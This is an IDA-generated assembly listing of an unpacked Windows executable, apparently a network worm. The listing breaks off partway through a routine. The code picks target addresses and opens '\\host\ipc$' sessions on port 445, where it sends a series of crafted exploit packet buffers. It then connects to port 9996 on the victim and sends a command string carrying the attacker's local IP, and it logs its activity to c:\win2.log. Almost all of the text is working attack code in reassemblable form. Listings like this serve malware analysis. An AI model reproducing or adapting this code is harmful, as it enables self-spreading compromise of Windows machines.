;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	846C14160B7BFC4183DB29157745633D

; File Name   :	u:\work\846c14160b7bfc4183db29157745633d_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00008000 (  32768.)
; Section size in file		: 00008000 (  32768.)
; Offset to raw	data for section: 00001000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================



sub_401000	proc near		; CODE XREF: sub_40127D+7Cp
					; sub_401EF0:loc_401F35p ...
		mov	eax, ds:dword_406F30
		imul	eax, 343FDh
		add	eax, 279EC3h
		mov	ds:dword_406F30, eax
		shr	eax, 10h
		and	eax, 7FFFh
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_40101E	proc near		; CODE XREF: sub_402029+1Fp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ds:dword_406F30, eax
		retn
sub_40101E	endp


; =============== S U B	R O U T	I N E =======================================



sub_401028	proc near		; CODE XREF: sub_402029+24p

var_190		= byte ptr -190h

		sub	esp, 190h
		lea	eax, [esp+190h+var_190]
		push	eax
		push	101h
		call	ds:dword_405114	; WSAStartup
		add	esp, 190h
		retn
sub_401028	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401045	proc near		; CODE XREF: sub_4010D2+4Cp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	ds:dword_40510C	; inet_addr
		movsx	ecx, al
		mov	[ebp+arg_0], eax
		movsx	edx, byte ptr [ebp+arg_0+2]
		movsx	esi, byte ptr [ebp+arg_0+3]
		movsx	edi, ah
		test	ecx, ecx
		mov	eax, 100h
		jge	short loc_40106F
		add	ecx, eax


loc_40106F:				; CODE XREF: sub_401045+26j
		test	edi, edi
		jge	short loc_401075
		add	edi, eax


loc_401075:				; CODE XREF: sub_401045+2Cj
		test	edx, edx
		jge	short loc_40107B
		add	edx, eax


loc_40107B:				; CODE XREF: sub_401045+32j
		test	esi, esi
		jge	short loc_401081
		add	esi, eax


loc_401081:				; CODE XREF: sub_401045+38j
		push	1
		cmp	ecx, 7Fh
		pop	eax
		jnz	short loc_401095
		test	edi, edi
		jnz	short loc_4010CE
		test	edx, edx
		jnz	short loc_4010CE
		cmp	esi, eax
		jz	short loc_4010CC


loc_401095:				; CODE XREF: sub_401045+42j
		cmp	ecx, 0Ah
		jz	short loc_4010CC
		cmp	ecx, 0ACh
		jnz	short loc_4010AC
		cmp	edi, 0Fh
		jle	short loc_4010CE
		cmp	edi, 20h
		jl	short loc_4010CC


loc_4010AC:				; CODE XREF: sub_401045+5Bj
		cmp	ecx, 0C0h
		jnz	short loc_4010BC
		cmp	edi, 0A8h
		jz	short loc_4010CC


loc_4010BC:				; CODE XREF: sub_401045+6Dj
		cmp	ecx, 0A9h
		jnz	short loc_4010CE
		cmp	edi, 0FEh
		jnz	short loc_4010CE


loc_4010CC:				; CODE XREF: sub_401045+4Ej
					; sub_401045+53j ...
		xor	al, al


loc_4010CE:				; CODE XREF: sub_401045+46j
					; sub_401045+4Aj ...
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_401045	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4010D2	proc near		; CODE XREF: sub_40127D+9Cp
					; sub_401EF0+1Ap

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_100]
		push	0FFh
		push	eax
		call	ds:dword_405104	; gethostname
		test	eax, eax
		jnz	short loc_401136
		lea	eax, [ebp+var_100]
		push	eax
		call	ds:dword_405110	; gethostbyname
		mov	edi, eax
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_401136
		mov	eax, [edi+0Ch]
		cmp	[eax], esi
		jz	short loc_401136


loc_401110:				; CODE XREF: sub_4010D2+60j
		mov	eax, [esi+eax]
		push	dword ptr [eax]
		call	ds:dword_405108	; inet_ntoa
		mov	ebx, eax
		push	ebx
		call	sub_401045
		test	al, al
		pop	ecx
		jnz	short loc_40113D
		mov	eax, [edi+0Ch]
		add	esi, 4
		cmp	dword ptr [esi+eax], 0
		jnz	short loc_401110
		jmp	short loc_401139
; ---------------------------------------------------------------------------


loc_401136:				; CODE XREF: sub_4010D2+20j
					; sub_4010D2+35j ...
		mov	ebx, [ebp+arg_0]


loc_401139:				; CODE XREF: sub_4010D2+62j
		test	ebx, ebx
		jz	short loc_401140


loc_40113D:				; CODE XREF: sub_4010D2+54j
		push	ebx
		jmp	short loc_401145
; ---------------------------------------------------------------------------


loc_401140:				; CODE XREF: sub_4010D2+69j
		push	offset a127_0_0_1 ; "127.0.0.1"


loc_401145:				; CODE XREF: sub_4010D2+6Cj
		push	[ebp+arg_0]
		call	ds:dword_405018	; lstrcpy
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4010D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401153	proc near		; CODE XREF: sub_401EF0+E2p

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_4021B0
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	1BDh
		call	ds:dword_4050F4	; htons
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_4011D5
		mov	[ebp+var_C], eax
		push	8
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		call	sub_4021B0
		add	esp, 10h
		push	6
		push	1
		pop	ebx
		push	ebx
		push	2
		call	ds:dword_4050F8	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4011B4
		xor	al, al
		jmp	short loc_4011D1
; ---------------------------------------------------------------------------


loc_4011B4:				; CODE XREF: sub_401153+5Bj
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	ds:dword_4050FC	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4011C8
		xor	bl, bl


loc_4011C8:				; CODE XREF: sub_401153+71j
		push	esi
		call	ds:dword_40511C	; closesocket
		mov	al, bl


loc_4011D1:				; CODE XREF: sub_401153+5Fj
		pop	esi
		pop	ebx
		leave
		retn
sub_401153	endp


; =============== S U B	R O U T	I N E =======================================



sub_4011D5	proc near		; CODE XREF: sub_401153+30p
					; sub_40127D+34p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	edi
		call	ds:dword_40510C	; inet_addr
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4011F2
		test	esi, esi
		jnz	short loc_401204
		cmp	byte ptr [edi],	30h
		jz	short loc_40120B


loc_4011F2:				; CODE XREF: sub_4011D5+12j
		push	edi
		call	ds:dword_405110	; gethostbyname
		test	eax, eax
		jz	short loc_401204
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	esi, [eax]


loc_401204:				; CODE XREF: sub_4011D5+16j
					; sub_4011D5+26j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40120B
		xor	esi, esi


loc_40120B:				; CODE XREF: sub_4011D5+1Bj
					; sub_4011D5+32j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_4011D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401210	proc near		; CODE XREF: sub_40127D+F9p

var_14		= byte ptr -14h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		inc	ds:dword_406F34
		push	edi
		push	ds:dword_406F34
		lea	eax, [ebp+var_14]
		push	offset aI	; "%i"
		push	eax
		call	ds:dword_4050E0	; wsprintfA
		add	esp, 0Ch
		push	0
		push	offset aCWin2_log ; "c:\\win2.log"
		call	ds:dword_405024	; _lcreat
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40127A
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_402210
		mov	esi, ds:dword_405020
		pop	ecx
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	esi	; _hwrite
		push	[ebp+arg_0]
		call	sub_402210
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	esi	; _hwrite
		push	edi
		call	ds:dword_40501C	; _lclose
		pop	esi


loc_40127A:				; CODE XREF: sub_401210+37j
		pop	edi
		leave
		retn
sub_401210	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40127D	proc near		; CODE XREF: sub_401A84+7Bp

var_348		= dword	ptr -348h
var_33C		= byte ptr -33Ch
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 33Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_4021B0
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	270Ch
		call	ds:dword_4050F4	; htons
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_4011D5
		mov	[ebp+var_C], eax
		push	8
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		call	sub_4021B0
		add	esp, 10h
		push	6
		push	1
		push	2
		call	ds:dword_4050F8	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_4012E2
		xor	al, al
		jmp	loc_401394
; ---------------------------------------------------------------------------


loc_4012E2:				; CODE XREF: sub_40127D+5Cj
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	ds:dword_4050FC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40138B
		push	esi
		call	sub_401000
		mov	esi, eax
		lea	eax, [ebp+var_110]
		push	offset dword_406F38
		push	eax
		call	ds:dword_405018	; lstrcpy
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_4010D2
		push	esi
		lea	eax, [ebp+var_110]
		push	esi
		push	eax
		push	ds:off_406030
		lea	eax, [ebp+var_33C]
		push	eax
		call	ds:dword_4050E0	; wsprintfA
		lea	eax, [ebp+var_33C]
		xor	esi, esi
		push	eax
		call	sub_402210
		add	esp, 1Ch
		test	eax, eax
		jbe	short loc_401373


loc_40134F:				; CODE XREF: sub_40127D+F4j
		push	ebx
		lea	eax, [ebp+esi+var_33C]
		push	1
		push	eax
		push	edi
		call	ds:dword_4050F0	; send
		lea	eax, [ebp+var_33C]
		inc	esi
		push	eax
		call	sub_402210
		cmp	esi, eax
		pop	ecx
		jb	short loc_40134F


loc_401373:				; CODE XREF: sub_40127D+D0j
		push	[ebp+arg_0]
		call	sub_401210
		mov	[esp+348h+var_348], 3E8h
		call	ds:dword_405028	; Sleep
		mov	bl, 1
		pop	esi


loc_40138B:				; CODE XREF: sub_40127D+75j
		push	edi
		call	ds:dword_40511C	; closesocket
		mov	al, bl


loc_401394:				; CODE XREF: sub_40127D+60j
		pop	edi
		pop	ebx
		leave
		retn
sub_40127D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401398	proc near		; CODE XREF: sub_401A84+15p

var_744		= byte ptr -744h
var_714		= byte ptr -714h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_B4		= byte ptr -0B4h
var_B1		= byte ptr -0B1h
var_87		= byte ptr -87h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
var_3C		= byte ptr -3Ch
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 744h
		push	ebx
		push	esi
		push	edi
		push	offset dword_406F38
		push	[ebp+arg_4]
		call	ds:dword_405018	; lstrcpy
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3C]
		push	offset aSIpc	; "\\\\%s\\ipc$"
		push	eax
		call	ds:dword_4050E0	; wsprintfA
		add	esp, 0Ch
		xor	edi, edi
		xor	ecx, ecx
		lea	eax, [ebp+var_103]


loc_4013D1:				; CODE XREF: sub_401398+49j
		mov	dl, [ebp+ecx+var_3C]
		mov	[eax-1], dl
		and	byte ptr [eax],	0
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, 28h
		jl	short loc_4013D1
		push	60h
		lea	eax, [ebp+var_B4]
		push	offset dword_4063E4
		push	eax
		call	sub_402290
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_402210
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_402290
		add	esp, 1Ch
		lea	eax, [ebp+var_3C]
		push	9
		push	(offset	aC+3)
		push	eax
		call	sub_402210
		pop	ecx
		lea	eax, [ebp+eax*2+var_85]
		push	eax
		call	sub_402290
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_402210
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_B1]
		push	eax
		call	sub_402290
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_402210
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_87]
		push	eax
		call	sub_402290
		add	esp, 2Ch
		push	[ebp+arg_0]
		call	ds:dword_405110	; gethostbyname
		mov	ebx, eax
		cmp	ebx, edi
		jz	loc_401554
		push	edi
		push	1
		push	2


loc_401495:				; DATA XREF: .text:off_4065D8o
		call	ds:dword_4050F8	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+arg_0], esi
		jz	loc_401554
		push	1BDh
		mov	[ebp+var_14], 2
		call	ds:dword_4050F4	; htons
		mov	[ebp+var_12], ax
		mov	eax, [ebx+0Ch]
		push	8
		push	edi
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4021B0
		add	esp, 0Ch
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	esi
		call	ds:dword_4050FC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401554
		mov	ebx, ds:dword_4050F0
		push	edi
		push	89h
		push	offset dword_4061CC
		push	esi
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401554
		push	edi
		mov	edi, 640h
		lea	eax, [ebp+var_744]
		push	edi
		push	eax
		push	esi
		mov	esi, ds:dword_4050EC
		call	esi	; recv
		push	0
		push	0A8h
		push	offset dword_406258
		push	[ebp+arg_0]
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401554
		push	0
		lea	eax, [ebp+var_744]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	esi	; recv
		push	0
		push	0DEh
		push	offset dword_406304
		push	[ebp+arg_0]
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401558


loc_401554:				; CODE XREF: sub_401398+F2j
					; sub_401398+10Bj ...
		xor	eax, eax
		jmp	short loc_401599
; ---------------------------------------------------------------------------


loc_401558:				; CODE XREF: sub_401398+1BAj
		push	0
		lea	eax, [ebp+var_744]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	esi	; recv
		push	46h
		lea	esi, [ebp+var_714]
		pop	edi


loc_401570:				; CODE XREF: sub_401398+1F3j
		movsx	eax, byte ptr [esi]
		push	eax
		push	[ebp+arg_4]
		push	offset aSC	; "%s%c"
		push	[ebp+arg_4]
		call	ds:dword_4050E0	; wsprintfA
		add	esp, 10h
		inc	esi
		inc	esi
		dec	edi
		jnz	short loc_401570
		push	[ebp+arg_0]
		call	ds:dword_40511C	; closesocket
		push	1
		pop	eax


loc_401599:				; CODE XREF: sub_401398+1BEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401398	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40159E	proc near		; CODE XREF: sub_401A84+3Bp
					; sub_401A84+5Ep ...

var_89C4	= byte ptr -89C4h
var_895C	= byte ptr -895Ch
var_68EC	= byte ptr -68ECh
var_687C	= byte ptr -687Ch
var_5DB8	= byte ptr -5DB8h
var_4814	= byte ptr -4814h
var_4813	= byte ptr -4813h
var_3780	= byte ptr -3780h
var_2CBC	= byte ptr -2CBCh
var_2CBB	= byte ptr -2CBBh
var_2CB8	= byte ptr -2CB8h
var_24D4	= byte ptr -24D4h
var_24C4	= byte ptr -24C4h
var_21A0	= byte ptr -21A0h
var_219C	= byte ptr -219Ch
var_2190	= byte ptr -2190h
var_1F08	= byte ptr -1F08h
var_1E8C	= byte ptr -1E8Ch
var_16BC	= byte ptr -16BCh
var_1211	= byte ptr -1211h
var_F24		= byte ptr -0F24h
var_E84		= byte ptr -0E84h
var_778		= dword	ptr -778h
var_768		= byte ptr -768h
var_754		= byte ptr -754h
var_114		= byte ptr -114h
var_113		= byte ptr -113h
var_C4		= byte ptr -0C4h
var_C1		= byte ptr -0C1h
var_97		= byte ptr -97h
var_95		= byte ptr -95h
var_94		= byte ptr -94h
var_4C		= byte ptr -4Ch
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 89C4h
		call	sub_4025D0
		mov	eax, ds:dword_406A34
		push	[ebp+arg_0]
		mov	[ebp+var_14], eax
		mov	eax, ds:dword_406A38
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_4C]
		push	offset aSIpc	; "\\\\%s\\ipc$"
		push	eax
		call	ds:dword_4050E0	; wsprintfA
		add	esp, 0Ch
		xor	ecx, ecx
		lea	eax, [ebp+var_113]


loc_4015D8:				; CODE XREF: sub_40159E+4Aj
		mov	dl, [ebp+ecx+var_4C]
		mov	[eax-1], dl
		and	byte ptr [eax],	0
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, 28h
		jl	short loc_4015D8
		push	ebx
		push	esi
		push	edi
		push	60h
		lea	eax, [ebp+var_C4]
		push	offset dword_4063E4
		push	eax
		call	sub_402290
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_402210
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_402290
		add	esp, 1Ch
		lea	eax, [ebp+var_4C]
		push	9
		push	(offset	aC+3)
		push	eax
		call	sub_402210
		pop	ecx
		lea	eax, [ebp+eax*2+var_95]
		push	eax
		call	sub_402290
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_402210
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_5], al
		lea	eax, [ebp+var_5]
		push	eax
		lea	eax, [ebp+var_C1]
		push	eax
		call	sub_402290
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_402210
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_6], al
		lea	eax, [ebp+var_6]
		push	eax
		lea	eax, [ebp+var_97]
		push	eax
		call	sub_402290
		add	esp, 2Ch
		push	270Ch
		call	ds:dword_4050F4	; htons
		xor	eax, 9999h
		push	2
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset dword_4060E4
		call	sub_402290
		mov	ebx, [ebp+arg_4]
		add	esp, 0Ch
		cmp	ebx, 1
		jz	short loc_40171A
		cmp	ebx, 2
		jz	short loc_40171A
		push	7D0h
		lea	eax, [ebp+var_F24]
		push	90h
		push	eax
		call	sub_4021B0
		mov	esi, offset loc_406034
		push	esi
		call	sub_402210
		push	eax
		lea	eax, [ebp+var_E84]
		push	esi
		push	eax
		call	sub_402290
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_402210
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_768]
		push	eax
		call	sub_402290
		add	esp, 2Ch
		imul	ebx, 3Ch
		mov	eax, ds:dword_406810[ebx]
		mov	[ebp+var_778], eax
		jmp	loc_4017EE
; ---------------------------------------------------------------------------


loc_40171A:				; CODE XREF: sub_40159E+115j
					; sub_40159E+11Aj
		mov	edi, 0DACh
		lea	eax, [ebp+var_2CB8]
		push	edi
		push	90h
		push	eax
		call	sub_4021B0
		imul	ebx, 3Ch
		push	4
		lea	eax, [ebp+var_24D4]
		lea	ebx, dword_406810[ebx]
		push	ebx
		push	eax
		call	sub_402290
		mov	esi, offset loc_406034
		push	esi
		call	sub_402210
		push	eax
		lea	eax, [ebp+var_24C4]
		push	esi
		push	eax
		call	sub_402290
		push	4
		lea	eax, [ebp+var_21A0]
		push	offset dword_406A2C
		push	eax
		call	sub_402290
		push	4
		lea	eax, [ebp+var_219C]
		push	ebx
		push	eax
		call	sub_402290
		add	esp, 40h
		push	esi
		call	sub_402210
		push	eax
		lea	eax, [ebp+var_2190]
		push	esi
		push	eax
		call	sub_402290
		add	esp, 10h
		xor	ecx, ecx
		lea	eax, [ebp+var_4813]


loc_4017A6:				; CODE XREF: sub_40159E+21Aj
		mov	dl, [ebp+ecx+var_2CB8]
		mov	[eax-1], dl
		and	byte ptr [eax],	0
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, edi
		jl	short loc_4017A6
		and	[ebp+var_2CBC],	0
		and	[ebp+var_2CBB],	0
		mov	esi, 1C52h
		lea	eax, [ebp+var_89C4]
		push	esi
		push	31h
		push	eax
		call	sub_4021B0
		push	esi
		lea	eax, [ebp+var_68EC]
		push	31h
		push	eax
		call	sub_4021B0
		add	esp, 18h


loc_4017EE:				; CODE XREF: sub_40159E+177j
		push	0
		push	1
		push	2
		call	ds:dword_4050F8	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jz	loc_401A7D
		push	1BDh
		mov	[ebp+var_24], 2
		call	ds:dword_4050F4	; htons
		push	[ebp+arg_0]
		mov	[ebp+var_22], ax
		call	sub_4011D5
		mov	[ebp+var_20], eax
		xor	ebx, ebx
		push	8
		lea	eax, [ebp+var_1C]
		push	ebx
		push	eax
		call	sub_4021B0
		add	esp, 10h
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	edi
		call	ds:dword_4050FC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_401A7D
		mov	esi, ds:dword_4050F0
		push	ebx
		push	89h
		push	offset dword_4061CC
		push	edi
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_401A7D
		push	ebx
		mov	ebx, 640h
		lea	eax, [ebp+var_754]
		push	ebx
		push	eax
		push	edi
		mov	edi, ds:dword_4050EC
		call	edi	; recv
		push	0
		push	0A8h
		push	offset dword_406258
		push	[ebp+var_4]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_401A7D
		push	0
		lea	eax, [ebp+var_754]
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	edi	; recv
		push	0
		push	0DEh
		push	offset dword_406304
		push	[ebp+var_4]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_401A7D
		push	0
		lea	eax, [ebp+var_754]
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	edi	; recv
		movsx	eax, [ebp+var_5]
		add	eax, 4
		push	0
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	[ebp+var_4]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_401A7D
		push	0
		lea	eax, [ebp+var_754]
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	edi	; recv
		push	0
		push	68h
		push	offset dword_406448
		push	[ebp+var_4]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_401A7D
		push	0
		lea	eax, [ebp+var_754]
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	edi	; recv
		push	0
		push	0A0h
		push	offset dword_4064B4
		push	[ebp+var_4]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_401A7D
		push	0
		lea	eax, [ebp+var_754]
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	edi	; recv
		cmp	[ebp+arg_4], 1
		jz	short loc_4019BB
		cmp	[ebp+arg_4], 2
		jz	short loc_4019BB
		push	7Ch
		lea	eax, [ebp+var_1F08]
		push	offset dword_406558
		push	eax
		call	sub_402290
		lea	eax, [ebp+var_F24]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_1E8C]
		push	eax
		call	sub_402290
		push	90h
		lea	eax, [ebp+var_16BC]
		push	offset off_4065D8
		push	eax
		call	sub_402290
		add	esp, 24h
		and	[ebp+var_1211],	0
		lea	eax, [ebp+var_1F08]
		push	0
		push	0CF8h
		jmp	loc_401A5E
; ---------------------------------------------------------------------------


loc_4019BB:				; CODE XREF: sub_40159E+3B8j
					; sub_40159E+3BEj
		push	68h
		lea	eax, [ebp+var_89C4]
		push	offset dword_40666C
		push	eax
		call	sub_402290
		lea	eax, [ebp+var_4814]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_895C]
		push	eax
		call	sub_402290
		push	70h
		lea	eax, [ebp+var_68EC]
		push	offset dword_4066D8
		push	eax
		call	sub_402290
		lea	eax, [ebp+var_3780]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_687C]
		push	eax
		call	sub_402290
		push	84h
		lea	eax, [ebp+var_5DB8]
		push	offset dword_40674C
		push	eax
		call	sub_402290
		add	esp, 3Ch
		lea	eax, [ebp+var_89C4]
		push	0
		push	10FCh
		push	eax
		push	[ebp+var_4]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401A7D
		push	0
		lea	eax, [ebp+var_754]
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	edi	; recv
		push	0
		push	0FDCh
		lea	eax, [ebp+var_68EC]


loc_401A5E:				; CODE XREF: sub_40159E+418j
		push	eax
		push	[ebp+var_4]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401A7D
		push	3E8h
		call	ds:dword_405028	; Sleep
		push	[ebp+var_4]
		call	ds:dword_40511C	; closesocket


loc_401A7D:				; CODE XREF: sub_40159E+264j
					; sub_40159E+2ABj ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40159E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401A84	proc near		; CODE XREF: sub_402029+3Ap

var_84		= byte ptr -84h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		push	esi
		mov	esi, [ebp+arg_0]
		lea	eax, [ebp+var_84]
		push	eax
		push	esi
		call	sub_401398
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	short loc_401B05
		lea	eax, [ebp+var_84]
		push	offset dword_406A40
		push	eax
		call	sub_402600
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401AC8
		push	0
		push	esi
		call	sub_40159E
		push	0
		jmp	short loc_401AF5
; ---------------------------------------------------------------------------


loc_401AC8:				; CODE XREF: sub_401A84+36j
		lea	eax, [ebp+var_84]
		push	offset dword_406A3C
		push	eax
		call	sub_402600
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401AEB
		push	1
		push	esi
		call	sub_40159E
		push	1
		jmp	short loc_401AF5
; ---------------------------------------------------------------------------


loc_401AEB:				; CODE XREF: sub_401A84+59j
		push	2
		push	esi
		call	sub_40159E
		push	2


loc_401AF5:				; CODE XREF: sub_401A84+42j
					; sub_401A84+65j
		push	esi
		call	sub_40159E
		add	esp, 10h
		push	esi
		call	sub_40127D
		pop	ecx


loc_401B05:				; CODE XREF: sub_401A84+1Fj
		pop	esi
		leave
		retn
sub_401A84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401B08	proc near		; DATA XREF: sub_401E65+74o

var_8E4		= byte ptr -8E4h
var_4E4		= byte ptr -4E4h
var_4E0		= byte ptr -4E0h
var_E4		= byte ptr -0E4h
var_60		= byte ptr -60h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
